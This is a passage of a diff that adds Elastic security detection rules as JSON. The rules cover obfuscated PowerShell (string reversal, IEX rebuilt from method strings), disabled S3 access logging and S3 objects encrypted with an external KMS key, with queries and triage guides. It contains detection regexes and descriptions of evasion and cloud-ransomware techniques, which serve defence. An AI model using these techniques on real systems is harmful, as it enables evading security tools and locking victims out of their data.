"version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "9eaa3fb1-3f70-48ed-bb0e-d7ae4d3c8f28", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Tactic: Credential Access", + "Data Source: Elastic Defend" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1556", + "name": "Modify Authentication Process", + "reference": "https://attack.mitre.org/techniques/T1556/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1554", + "name": "Compromise Host Software Binary", + "reference": "https://attack.mitre.org/techniques/T1554/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 1 + }, + "id": "9eaa3fb1-3f70-48ed-bb0e-d7ae4d3c8f28_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/9edd1804-83c7-4e48-b97d-c776b4c97564_4.json b/packages/security_detection_engine/kibana/security_rule/9edd1804-83c7-4e48-b97d-c776b4c97564_4.json new file mode 100644 index 00000000000..2962cf063e5 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/9edd1804-83c7-4e48-b97d-c776b4c97564_4.json @@ -0,0 +1,148 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies PowerShell scripts that use negative index ranges to reverse the contents of a string or array at runtime as a form of obfuscation. This technique avoids direct use of reversal functions by iterating through array elements in reverse order. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "PowerShell Obfuscation via Negative Index String Reversal", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating PowerShell Obfuscation via Negative Index String Reversal\n\nPowerShell, a powerful scripting language, can be exploited by adversaries using obfuscation techniques like negative index string reversal to evade detection. This method manipulates strings or arrays by iterating in reverse, bypassing static analysis tools. The detection rule identifies scripts with obfuscation patterns by analyzing script length and specific indexing patterns, flagging potential threats for further investigation.\n\n### Possible investigation steps\n\n- Review the `powershell.file.script_block_text` to understand the script's intent and identify any suspicious or malicious behavior.\n- Check the `host.name` and `user.id` fields to determine the affected system and user, assessing if they are high-value targets or have a history of similar alerts.\n- Analyze the `file.path` to identify the location of the script and assess if it is in a common or suspicious directory.\n- Investigate the `powershell.file.script_block_id` and `powershell.sequence` to trace the execution flow and determine if this script is part of a larger, potentially malicious sequence.\n- Correlate the `agent.id` with other logs to see if there are additional related activities or alerts from the same endpoint.\n- Examine the `count` of detected patterns to assess the level of obfuscation and potential threat severity.\n\n### False positive analysis\n\n- Scripts containing the keyword \"GENESIS-5654\" are known false positives and are automatically excluded from triggering alerts. Ensure that any legitimate scripts using this keyword are documented to prevent unnecessary investigations.\n- Legitimate administrative scripts that use negative indexing for valid purposes may trigger false positives. Review these scripts and consider adding them to an exception list if they are frequently flagged but verified as non-malicious.\n- Automated scripts generated by trusted software that use similar obfuscation patterns for performance or compatibility reasons can be excluded by identifying unique identifiers or patterns within these scripts and updating the exclusion criteria accordingly.\n- Regularly update the exclusion list to include new patterns or identifiers from trusted sources as they are identified, ensuring that legitimate activities are not hindered by the detection rule.\n- Collaborate with IT and security teams to maintain a list of known safe scripts and their characteristics, which can be referenced when analyzing potential false positives.\n\n### Response and remediation\n\n- Isolate the affected host immediately to prevent further spread of potentially malicious scripts or unauthorized access.\n- Terminate any suspicious PowerShell processes identified by the alert to halt ongoing obfuscation activities.\n- Conduct a thorough review of the PowerShell script block text and related logs to identify any malicious payloads or commands executed.\n- Remove any identified malicious scripts or files from the affected system to prevent re-execution.\n- Reset credentials for any user accounts involved in the alert to mitigate potential unauthorized access.\n- Escalate the incident to the security operations team for further analysis and to determine if additional systems are compromised.\n- Update endpoint protection and monitoring tools to enhance detection capabilities for similar obfuscation techniques in the future.\n", + "query": "from logs-windows.powershell_operational* metadata _id, _version, _index\n| where event.code == \"4104\"\n\n// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for\n| eval Esql.script_block_length = length(powershell.file.script_block_text)\n| where Esql.script_block_length > 500\n\n// replace the patterns we are looking for with the \ud83d\udd25 emoji to enable counting them\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| eval Esql.script_block_tmp = replace(\n powershell.file.script_block_text,\n \"\"\"\\$\\w+\\[\\-\\s?1\\.\\.\"\"\",\n \"\ud83d\udd25\"\n)\n\n// count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, \"\ud83d\udd25\", \"\"))\n\n// keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| keep\n Esql.script_block_pattern_count,\n Esql.script_block_length,\n Esql.script_block_tmp,\n powershell.file.script_block_text,\n powershell.file.script_block_id,\n file.path,\n powershell.sequence,\n powershell.total,\n _id,\n _index,\n host.name,\n agent.id,\n user.id\n\n// Filter for scripts that match the pattern at least once\n| where Esql.script_block_pattern_count >= 1\n\n// FP Patterns\n| where not powershell.file.script_block_text like \"*GENESIS-5654*\"\n", + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.script_block_length", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_pattern_count", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_tmp", + "type": "keyword" + }, + { + "ecs": false, + "name": "_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "_index", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_text", + "type": "text" + }, + { + "ecs": false, + "name": "powershell.sequence", + "type": "long" + }, + { + "ecs": false, + "name": "powershell.total", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "9edd1804-83c7-4e48-b97d-c776b4c97564", + "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: PowerShell Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "9edd1804-83c7-4e48-b97d-c776b4c97564_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/9f432a8b-9588-4550-838e-1f77285580d3_6.json b/packages/security_detection_engine/kibana/security_rule/9f432a8b-9588-4550-838e-1f77285580d3_6.json new file mode 100644 index 00000000000..b44ddbab67e --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/9f432a8b-9588-4550-838e-1f77285580d3_6.json @@ -0,0 +1,153 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies PowerShell scripts that reconstruct the IEX (Invoke-Expression) command by accessing and indexing the string representation of method references. This obfuscation technique uses constructs like ''.IndexOf.ToString() to expose method metadata as a string, then extracts specific characters through indexed access and joins them to form IEX, bypassing static keyword detection and evading defenses such as AMSI.", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Dynamic IEX Reconstruction via Method String Access", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Dynamic IEX Reconstruction via Method String Access\n\nPowerShell's flexibility allows dynamic command execution, which adversaries exploit by obfuscating commands like Invoke-Expression (IEX). They manipulate method strings to reconstruct IEX, evading static detection. The detection rule identifies scripts using this obfuscation by analyzing patterns in method string access, flagging suspicious activity for further investigation.\n\n### Possible investigation steps\n\n- Review the powershell.file.script_block_text field to understand the content and intent of the script that triggered the alert. Look for any suspicious patterns or obfuscation techniques.\n- Examine the file.path field to determine the location of the script on the host system, which can provide context about its origin and potential legitimacy.\n- Check the host.name and user.id fields to identify the machine and user account involved in executing the script, which can help assess whether the activity aligns with expected behavior.\n- Analyze the powershell.file.script_block_id and powershell.sequence fields to trace the execution sequence and correlate it with other PowerShell activities on the host, providing a broader view of the script's execution context.\n- Investigate the agent.id field to verify the endpoint's security posture and ensure that it is up-to-date with the latest security patches and configurations.\n\n### False positive analysis\n\n- Scripts with legitimate use of string manipulation methods like IndexOf or SubString may trigger false positives if they are part of complex PowerShell scripts used in administrative tasks. To manage this, review the context of the script and consider adding exceptions for known safe scripts or users.\n- Automated scripts from trusted software that perform extensive string operations for configuration or data processing might be flagged. Identify these scripts and exclude them by their script block ID or file path to prevent unnecessary alerts.\n- Development environments where PowerShell is used for testing or debugging purposes may generate alerts due to frequent use of string manipulation. Implement exclusions based on host names or user IDs associated with these environments to reduce noise.\n- Security tools or monitoring solutions that use PowerShell for log analysis or system checks might inadvertently match the detection pattern. Verify the source of the script and whitelist these tools by agent ID or specific script characteristics.\n- Regularly review and update the exclusion list to ensure it reflects the current environment and does not inadvertently allow malicious activity.\n\n### Response and remediation\n\n- Isolate the affected host immediately to prevent further execution of potentially malicious scripts and limit lateral movement within the network.\n- Terminate any suspicious PowerShell processes identified by the alert to stop ongoing malicious activity.\n- Review the PowerShell script block text and script block ID from the alert to understand the scope and intent of the obfuscation technique used.\n- Remove any unauthorized or malicious scripts from the affected system to prevent re-execution.\n- Conduct a thorough scan of the isolated host using updated antivirus and anti-malware tools to identify and remove any additional threats.\n- Restore the affected system from a known good backup if the integrity of the system is compromised and cannot be assured.\n- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected.\n", + "query": "from logs-windows.powershell_operational* metadata _id, _version, _index\n| where event.code == \"4104\"\n\n// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for\n| eval Esql.script_block_length = length(powershell.file.script_block_text)\n| where Esql.script_block_length > 500\n\n// replace the patterns we are looking for with the \ud83d\udd25 emoji to enable counting them\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| eval Esql.script_block_tmp = replace(\n powershell.file.script_block_text,\n \"\"\"(?i)['\"]['\"].(Insert|Normalize|Chars|substring|Remove|LastIndexOfAny|LastIndexOf|IsNormalized|IndexOfAny|IndexOf)[^\\[]+\\[\\d+,\\d+,\\d+\\]\"\"\",\n \"\ud83d\udd25\"\n)\n\n// count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, \"\ud83d\udd25\", \"\"))\n\n// keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| keep\n Esql.script_block_pattern_count,\n Esql.script_block_length,\n Esql.script_block_tmp,\n powershell.file.script_block_text,\n powershell.file.script_block_id,\n file.path,\n file.directory,\n powershell.sequence,\n powershell.total,\n _id,\n _index,\n host.name,\n agent.id,\n user.id\n\n// Filter for scripts that match the pattern at least once\n| where Esql.script_block_pattern_count >= 1\n\n| where not (\n file.directory like \"C:\\\\\\\\Program Files\\\\\\\\WindowsPowerShell\\\\\\\\Modules\\\\\\\\Maester\\\\\\\\1.1.0*\" or\n file.directory like \"C:\\\\\\\\Users\\\\\\\\*\\\\\\\\Documents\\\\\\\\WindowsPowerShell\\\\\\\\Modules\\\\\\\\Maester\\\\\\\\1.1.0*\"\n )\n // ESQL requires this condition, otherwise it only returns matches where file.directory exists.\n or file.directory is null\n", + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.script_block_length", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_pattern_count", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_tmp", + "type": "keyword" + }, + { + "ecs": false, + "name": "_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "_index", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.directory", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_text", + "type": "text" + }, + { + "ecs": false, + "name": "powershell.sequence", + "type": "long" + }, + { + "ecs": false, + "name": "powershell.total", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "9f432a8b-9588-4550-838e-1f77285580d3", + "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: PowerShell Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 6 + }, + "id": "9f432a8b-9588-4550-838e-1f77285580d3_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/a6788d4b-b241-4bf0-8986-a3b4315c5b70_5.json b/packages/security_detection_engine/kibana/security_rule/a6788d4b-b241-4bf0-8986-a3b4315c5b70_5.json new file mode 100644 index 00000000000..48be2ebe1f0 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/a6788d4b-b241-4bf0-8986-a3b4315c5b70_5.json @@ -0,0 +1,119 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies when server access logging is disabled for an Amazon S3 bucket. Server access logs provide a detailed record of requests made to an S3 bucket. When server access logging is disabled for a bucket, it could indicate an adversary's attempt to impair defenses by disabling logs that contain evidence of malicious activity.", + "event_category_override": "event.type", + "false_positives": [ + "Bucket logging may be disabled by a system or network administrator. Verify whether the user identity and/or user agent should be making changes in your environment. Bucket component deletions by unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "aws.cloudtrail.resources.arn", + "aws.cloudtrail.resources.type", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters" + ] + }, + "language": "eql", + "license": "Elastic License v2", + "name": "AWS S3 Bucket Server Access Logging Disabled", + "note": "## Triage and analysis\n\n### Investigating AWS S3 Bucket Server Access Logging Disabled\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\nThis detection alerts when the server-access logging configuration for an S3 bucket is changed so that logging is disabled. \nBecause detailed request logs are central to tracking object access, modifications here are significant from a visibility and forensics standpoint. They can signal that an adversary is preparing to act (exfiltrate, delete, or manipulate data) while minimizing audit evidence.\n\n#### Possible investigation steps\n\n**Identify the actor and context**\n - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id` to determine the who/what of the change. \n - Inspect `user_agent.original`, `source.ip`, `@timestamp`, `cloud.account.id`, `cloud.region` for unusual or non-standard access patterns (e.g., new user, external IP, off-hours).\n - Check the bucket resource (via `aws.cloudtrail.resources.arn`, `aws.cloudtrail.resources.type`) to determine the bucket\u2019s business role (e.g., logs, backups, sensitive data store).\n - Consider whether the bucket houses audit logs or access logs; if so, disabling logging is especially suspicious and a higher risk.\n\n**Correlate with related activities**\n - Search for preceding or subsequent events by the same principal or for the same bucket: \n - `DeleteObject`, `PutBucketAcl`, `PutBucketPolicy`, `RemoveBucketAccessPoint`, or other permissions changes (e.g., `PutBucketLifecycle`). \n - `ListBucket`, `GetObject`, `CopyObject`, or large `GetObject` operations, especially from unusual IPs or cross-account. \n - IAM changes in proximity: `AttachUserPolicy`, `CreateAccessKey`, `AssumeRole` by same principal or against the same principal. \n - Review AWS Config or Audit logs to see if the bucket\u2019s logging was previously enabled and how long it has been disabled.\n\n**Evaluate intent and risk**\n - If the bucket was being used to collect access logs or audit data, disabling logging significantly degrades forensic capability. \n - Determine whether the actor has a legitimate business reason for modifying logging (ticket, change request, known automation). \n - If not justified, treat this as a high-priority visibility compromise and proceed through escalation.\n\n### False positive analysis\n\n- Storage teams may disable logging temporarily during migration or cost-optimisation exercises. \n- Test or development buckets may routinely toggle logging for experimentation\u2014document such buckets and roles. \n- Trusted automation (tagged, known user-agent, internal IPs) may adjust logging. Consider allow-listing such automation while preserving watch-points for changes to high-sensitivity buckets.\n\n### Response and remediation\n\n**1. Contain & restore visibility**\n - Immediately re-enable server\u2010access logging for the affected bucket (ensure `LoggingEnabled=true` and correct `TargetBucket/Prefix`). \n - If you suspect activity while logging was disabled, preserve any remaining object versions, cross-account access logs, or S3 Inventory data. \n\n**2. Investigate scope and impact**\n - Use CloudTrail Lake or Athena to query access to the bucket and objects for the timeframe when logging was disabled. \n - Identify external IP addresses, unusual principals, or rapid object transfers or deletions.\n\n**3. Recover & harden**\n - Apply bucket-policy or SCP restrictions to prevent unauthorized modifications of `PutBucketLogging` for audit/logging buckets. \n - Enable AWS Config rule (e.g., `cloudtrail-s3-bucket-access-logging`) to alert if logging is disabled. \n - Ensure logging target buckets are configured with retention, versioning, and immutability (S3 Object Lock) to prevent tampering.\n\n**4. Improve & monitor**\n - Update your incident response playbook to include this scenario (see AWS IR + Customer Playbook Framework). \n - Educate stakeholders (storage, DevOps, security) that any change to logging configuration on buckets \u2014 especially audit/log buckets should be treated as a security event and ticketed.\n\n### Additional information\n\n- AWS documentation on [S3 Server Access Logging](https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerLogs.html) \n- [AWS Incident Response Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/tree/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks) \n- [AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs) \n", + "query": "info where event.dataset == \"aws.cloudtrail\"\n and event.provider == \"s3.amazonaws.com\"\n and event.action == \"PutBucketLogging\"\n and event.outcome == \"success\"\n and not stringContains(aws.cloudtrail.request_parameters, \"LoggingEnabled\")\n", + "references": [ + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html", + "https://docs.aws.amazon.com/AmazonS3/latest/userguide/enable-server-access-logging.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "aws.cloudtrail.request_parameters", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "a6788d4b-b241-4bf0-8986-a3b4315c5b70", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: Amazon S3", + "Use Case: Asset Visibility", + "Tactic: Defense Evasion", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1562", + "name": "Impair Defenses", + "reference": "https://attack.mitre.org/techniques/T1562/", + "subtechnique": [ + { + "id": "T1562.008", + "name": "Disable or Modify Cloud Logs", + "reference": "https://attack.mitre.org/techniques/T1562/008/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 5 + }, + "id": "a6788d4b-b241-4bf0-8986-a3b4315c5b70_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/ab8f074c-5565-4bc4-991c-d49770e19fc9_7.json b/packages/security_detection_engine/kibana/security_rule/ab8f074c-5565-4bc4-991c-d49770e19fc9_7.json new file mode 100644 index 00000000000..70114169b46 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/ab8f074c-5565-4bc4-991c-d49770e19fc9_7.json @@ -0,0 +1,112 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies `CopyObject` events within an S3 bucket using an AWS KMS key from an external account for encryption. Adversaries with access to a misconfigured S3 bucket and the proper permissions may encrypt objects with an external KMS key to deny their victims access to their own data.", + "false_positives": [ + "Administrators within an AWS Organization structure may legitimately encrypt bucket objects with a key from an account different from the target bucket. Ensure that this behavior is not part of a legitimate operation before taking action." + ], + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "AWS S3 Object Encryption Using External KMS Key", + "note": "## Triage and analysis\n\n### Investigating AWS S3 Object Encryption Using External KMS Key\n\nThis rule detects the use of an external AWS KMS key to encrypt objects within an S3 bucket. Adversaries with access to a misconfigured S3 bucket may use an external key to copy objects within a bucket and deny victims the ability to access their own data.\nThis rule uses [ESQL](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-esql-rule) to look for use of the `CopyObject` operation where the target bucket's `cloud.account.id` is different from the `key.account.id` dissected from the AWS KMS key used for encryption.\n\n#### Possible Investigation Steps:\n\n- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who performed the action. Verify if this actor typically performs such actions and if they have the necessary permissions.\n- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand the specific details of the `CopyObject` action. Look for any unusual parameters that could suggest unauthorized or malicious modifications or usage of an unknown KMS keyId.\n- **Analyze the Source of the Request**: Investigate the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access.\n- **Contextualize with Timestamp**: Use the `@timestamp` field to check when the object was copied. Changes during non-business hours or outside regular maintenance windows might require further scrutiny.\n- **Correlate with Other Activities**: Search for related CloudTrail events before and after this action to see if the same actor or IP address engaged in other potentially suspicious activities.\n- **Check for Object Deletion or Access**: Look for `DeleteObject`, `DeleteObjects`, or `GetObject` API calls to the same S3 bucket that may indicate the adversary accessing and destroying objects including older object versions.\n- **Interview Relevant Personnel**: If the copy event was initiated by a user, verify the intent and authorization for this action with the person or team responsible for managing S3 buckets.\n\n### False Positive Analysis:\n\n- **Legitimate Administrative Actions**: Confirm if the `CopyObject` action aligns with scheduled updates, maintenance activities, or legitimate administrative tasks documented in change management systems.\n- **Consistency Check**: Compare the action against historical data of similar activities performed by the user or within the organization. If the action is consistent with past legitimate activities, it might indicate a false alarm.\n\n### Response and Remediation:\n\n- **Immediate Review**: If the activity was unauthorized, search for potential ransom note placed in S3 bucket and review the bucket's access logs for any suspicious activity.\n- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar `CopyObject` actions, especially those involving sensitive data or unusual file extensions.\n- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning S3 bucket management and the risks of ransomware.\n- **Audit S3 Bucket Policies and Permissions**: Conduct a comprehensive audit of all S3 bucket policies and associated permissions to ensure they adhere to the principle of least privilege.\n- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences.\n\n### Additional Information:\n\nFor further guidance on managing S3 bucket security and protecting against ransomware, refer to the [AWS S3 documentation](https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html) and AWS best practices for security. Additionally, consult the following resources for specific details on S3 ransomware protection:\n- [ERMETIC REPORT - AWS S3 Ransomware Exposure in the Wild](https://s3.amazonaws.com/bizzabo.file.upload/PtZzA0eFQwV2RA5ysNeo_ERMETIC%20REPORT%20-%20AWS%20S3%20Ransomware%20Exposure%20in%20the%20Wild.pdf)\n- [S3 Ransomware Part 1: Attack Vector](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)\n", + "query": "from logs-aws.cloudtrail-* metadata _id, _version, _index\n\n// any successful S3 copy event\n| where\n event.dataset == \"aws.cloudtrail\"\n and event.provider == \"s3.amazonaws.com\"\n and event.action == \"CopyObject\"\n and event.outcome == \"success\"\n\n// dissect request parameters to extract KMS key info and target object info\n| dissect aws.cloudtrail.request_parameters\n \"{%{?bucketName}=%{Esql.aws_cloudtrail_request_parameters_target_bucket_name},%{?x-amz-server-side-encryption-aws-kms-key-id}=%{?arn}:%{?aws}:%{?kms}:%{?region}:%{Esql.aws_cloudtrail_request_parameters_kms_key_account_id}:%{?key}/%{Esql.aws_cloudtrail_request_parameters_kms_key_id},%{?Host}=%{?tls.client.server.name},%{?x-amz-server-side-encryption}=%{?server_side_encryption},%{?x-amz-copy-source}=%{?bucket.object.name},%{?key}=%{Esql.aws_cloudtrail_request_parameters_target_object_key}}\"\n\n// detect cross-account key usage\n| where cloud.account.id != Esql.aws_cloudtrail_request_parameters_kms_key_account_id\n\n// keep ECS and dissected fields\n| keep\n @timestamp,\n aws.cloudtrail.user_identity.arn,\n cloud.account.id,\n event.action,\n Esql.aws_cloudtrail_request_parameters_target_bucket_name,\n Esql.aws_cloudtrail_request_parameters_kms_key_account_id,\n Esql.aws_cloudtrail_request_parameters_kms_key_id,\n Esql.aws_cloudtrail_request_parameters_target_object_key\n", + "references": [ + "https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingKMSEncryption.html/", + "https://docs.aws.amazon.com/kms/latest/APIReference/API_GenerateDataKey.html/", + "https://www.gem.security/post/cloud-ransomware-a-new-take-on-an-old-attack-pattern/", + "https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/" + ], + "related_integrations": [ + { + "package": "aws", + "version": "^4.0.0" + }, + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "@timestamp", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.aws_cloudtrail_request_parameters_kms_key_account_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.aws_cloudtrail_request_parameters_kms_key_id", + "type": "keyword" + }, + { + 